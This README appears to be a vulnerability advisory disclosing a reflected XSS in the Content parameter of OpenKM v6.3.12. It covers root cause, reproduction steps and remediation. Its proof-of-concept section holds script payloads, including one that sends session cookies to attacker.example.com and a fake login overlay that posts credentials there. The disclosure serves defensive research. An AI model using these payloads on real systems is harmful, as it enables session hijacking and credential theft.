🛡️ CVE-2026-30502 — Reflected XSS in OpenKM v6.3.12

📌 Table of Contents

• Overview
• CVE Details
• Affected Product
• Vulnerability Description
• Root Cause Analysis
• Impact & Risk Assessment
• Proof of Concept (PoC)
• Remediation & Recommendations
• Disclosure Timeline
• References
• About the Researcher

🔍 Overview

This repository documents the responsible disclosure of CVE-2026-30502, a Reflected Cross-Site Scripting (XSS) vulnerability identified in OpenKM v6.3.12 — a widely deployed open-source document management system used across enterprise and government environments.

The vulnerability exists in the Content parameter, which reflects user-supplied input back to the browser without proper sanitization or output encoding. An attacker can craft a malicious URL containing embedded JavaScript and social-engineer a victim into clicking it, resulting in script execution within the victim's browser session.

⚠️ Severity: Medium–High | Attack Vector: Network | Privileges Required: None | User Interaction: Required

📋 CVE Details

📦 Affected Product

OpenKM is a free and open-source document management system (DMS) providing a web interface for managing, auditing, and distributing business documents. It is used by enterprises, government bodies, and educational institutions worldwide.

• Product Name: OpenKM Document Management System
• Affected Version: v6.3.12
• Vendor Website: https://www.openkm.com
• Category: Document Management System (DMS)
• Language / Stack: Java (JSP / Spring Framework)

🧨 Vulnerability Description

A Reflected Cross-Site Scripting (XSS) vulnerability was identified in OpenKM v6.3.12 via the Content parameter. The application fails to validate or encode user-supplied input before reflecting it back in the HTTP response body, allowing arbitrary JavaScript to be injected and executed in the victim's browser.

Unlike Stored XSS, a Reflected XSS payload is not persisted in the database — instead, it rides within a crafted URL. The attack relies on the victim being tricked into clicking a malicious link (delivered via email, social media, or phishing campaigns), after which the payload executes silently in their browser with the victim's session context.

Attack Flow

Attacker crafts malicious URL
        │
        ▼
Victim clicks the link (phishing / social engineering)
        │
        ▼
Browser sends GET/POST request with payload in `Content` parameter
        │
        ▼
OpenKM reflects unsanitized input directly into HTML response
        │
        ▼
Browser parses & executes injected JavaScript
        │
        ▼
Session hijacked / credentials harvested / account compromised

🔬 Root Cause Analysis

The vulnerability results from the application's failure to enforce input-output security controls on the Content parameter:

User-Crafted URL ──► Content Parameter ──► [NO Validation]
       ──► Reflected in HTML Response ──► [NO Encoding]
              ──► Browser Executes Script ──► Account Compromised

💥 Impact & Risk Assessment

A successful exploitation of this vulnerability can lead to:

🧪 Proof of Concept (PoC)

⚠️ Disclaimer: The following information is shared strictly for educational and security research purposes under responsible disclosure principles. Do not test or use this against systems you do not own or have explicit written authorization to assess.

Payload Examples (Generic)

// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Credential phishing overlay
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Username"/>'
    +'<input name="p" type="password" placeholder="Password"/>'
    +'<button>Sign In</button></form>';
  document.body.prepend(d);
</script>

Crafted Malicious URL Structure

https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>

Steps to Reproduce

1. Identify the vulnerable endpoint in OpenKM v6.3.12 that reflects the Content parameter
2. Craft a URL appending an XSS payload to the Content parameter
3. URL-encode the payload if necessary
4. Send the crafted link to a victim via email, chat, or any social engineering vector
5. When the victim opens the link in their authenticated browser session, the payload executes
6. Observe JavaScript execution, cookie theft, or redirect behavior

🛠️ Remediation & Recommendations

For Developers / Vendors

For System Administrators

• 🔒 Restrict OpenKM access to internal/trusted networks via firewall rules
• 🛡️ Deploy a Web Application Firewall (WAF) with XSS detection signatures as a compensating control
• 📊 Monitor web server access logs for unexpected script tags or encoded payloads in query strings
• 🔄 Keep the OpenKM installation updated to the latest secure release
• 📧 Train users to be cautious about clicking unsolicited links to the DMS

📅 Disclosure Timeline

Full responsible disclosure principles were followed throughout this process, including vendor coordination and CVE Program engagement prior to any public release.

📚 References

• 🔗 MITRE CVE Entry — CVE-2026-30502
• 🔗 NVD — National Vulnerability Database
• 🔗 OpenKM Official Website
• 🔗 OWASP XSS Prevention Cheat Sheet
• 🔗 CWE-79: Cross-site Scripting
• 🔗 OWASP Top 10 — A03:2021 Injection
• 🔗 OWASP Java Encoder

👨‍💻 About the Researcher

Dharmendra Kumar is an independent cybersecurity researcher specializing in web application security, penetration testing, and responsible vulnerability disclosure. His research focuses on identifying and responsibly reporting real-world security flaws in widely-used software — contributing to safer applications for users globally.

Areas of Expertise:

• 🌐 Web Application Penetration Testing
• 🐛 Bug Bounty Hunting & CVE Research
• 🔍 Vulnerability Discovery & Security Advisories
• 📋 Responsible Disclosure & Coordinated CVE Reporting

Connect with me:

⚖️ Legal Disclaimer

This repository is intended solely for educational and informational purposes. The vulnerability details and proof-of-concept payloads are published in accordance with responsible disclosure principles. The author does not condone or take responsibility for any unauthorized use of this information. Always obtain explicit written permission before conducting security testing on any system you do not own.

🙏 Acknowledgments

Special thanks to:

• The OpenKM development team for their cooperation and responsiveness during coordinated disclosure
• The MITRE CVE Program for assigning and managing the CVE identifier
• The global security research and bug bounty community for continuously raising the bar on application security